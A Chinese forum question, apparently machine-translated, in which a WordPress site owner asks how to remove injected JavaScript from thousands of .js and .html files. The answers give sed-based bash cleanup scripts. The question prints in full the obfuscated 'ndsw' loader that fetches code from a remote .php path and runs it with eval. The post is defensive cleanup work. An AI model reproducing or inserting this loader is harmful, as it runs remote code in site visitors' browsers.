正如我的主题行状态，我有数以千计的.js和.html文件感染了javascript代码（WordPress），并希望删除代码.我尝试了不同的sed和查找组合，但无济于事..请有人能与这些技能帮助我创建一个bash命令删除下面的代码？

;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//domainname.com/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

任何帮助都是感激。请注意，我需要删除此代码从数以千计的文件和子文件夹内。
请帮助解决这个严重的恶意软件。

今天我需要这个命令，并尝试了这个命令

cd /dir/structure/with/infected/text/files
for file in $(find . -mindepth 1 -type f); do sed -i "s/\;if(ndsw===.*//" $file; done

我在shell脚本中创建了这个脚本，以删除大量的代码。
Obs：从受污染目录上方的目录中调用bashScript，因为它包含部分代码
示例：bash nameScript.sh方向


# !/bin/bash

    log='/var/log/excluirVirus.log'
    Data=$(date "+%D - %H:%M:%S") 
    touch listaArquivos
    echo"=========================$Data========================================="
    echo "$Data Iniciando limpeza dos arquivos" >> $log
    find "$1" .js 2> /dev/null > listaArquivos
    for arquivo in $(cat listaArquivos)
    do 
       if [ ! -d $arquivo ]; then
          echo "$Data Limpando o arquivo $arquivo "|tee -a $log
          sed -i "s/\;if(ndsw===.*//" $arquivo
       fi      
    done
    rm listaArquivos
    echo "$Data Limpeza finalizada" >> $log
 echo"=========================$Data========================================="
